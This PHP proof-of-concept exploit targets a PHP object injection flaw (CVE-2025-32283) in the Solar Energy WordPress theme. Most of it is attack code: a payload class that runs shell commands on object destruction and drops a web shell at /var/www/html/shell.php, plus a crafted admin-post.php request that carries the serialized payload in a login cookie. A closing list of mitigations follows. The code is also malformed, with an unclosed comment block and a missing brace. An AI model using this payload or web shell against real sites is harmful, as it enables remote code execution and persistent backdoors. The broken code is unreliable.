/**
* CVE-2025-32283 - Solar Energy Theme PHP Object Injection PoC
* Vulnerability: Untrusted Data Deserialization leading to Object Injection
* Affected: designthemes Solar Energy <= 3.5
*
* Note: This PoC demonstrates the concept of PHP Object Injection.
* The actual exploit chain depends on available classes in the target environment.

// Example of a malicious serialized object that could be injected
// In a real scenario, the attacker would need to chain available classes
// (e.g., through POP chains) to achieve code execution
class MaliciousPayload {
public $command;
public $file;
public function __destruct() {
// Triggered when the object is garbage collected after deserialization
if (isset($this->command)) {
system($this->command);
}
if (isset($this->file)) {
file_put_contents($this->file, '<?php system($_GET["cmd"]); ?>');
}

// Construct the malicious serialized payload
$payload = new MaliciousPayload();
$payload->command = "id; whoami; uname -a";
$payload->file = "/var/www/html/shell.php";
$serialized = serialize($payload);
echo "Serialized payload:\n" . $serialized . "\n\n";
// URL-encode the payload for HTTP transmission
$encoded = urlencode($serialized);
echo "URL-encoded payload:\n" . $encoded . "\n\n";
// Example HTTP request demonstrating the exploit
$exploit_request = <<<EOT
POST /wp-admin/admin-post.php HTTP/1.1
Host: target-site.com
Cookie: wordpress_logged_in_test={$encoded}
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
EOT;
echo "Example exploit request:\n" . $exploit_request . "\n";
// Real-world exploitation would involve:
// 1. Identifying the entry point (cookie, parameter, header) used by unserialization
// 2. Enumerating available PHP classes in the WordPress installation
// 3. Building a POP chain using available gadget classes
// 4. Crafting the final serialized payload to achieve RCE or file write
/**
* Mitigation:
* - Update Solar Energy theme to version > 3.5
* - Use json_encode/json_decode instead of serialize/unserialize
* - Implement allowed_classes option in unserialize(): unserialize($data, ['allowed_classes' => false])
* - Validate and sanitize all user inputs before deserialization
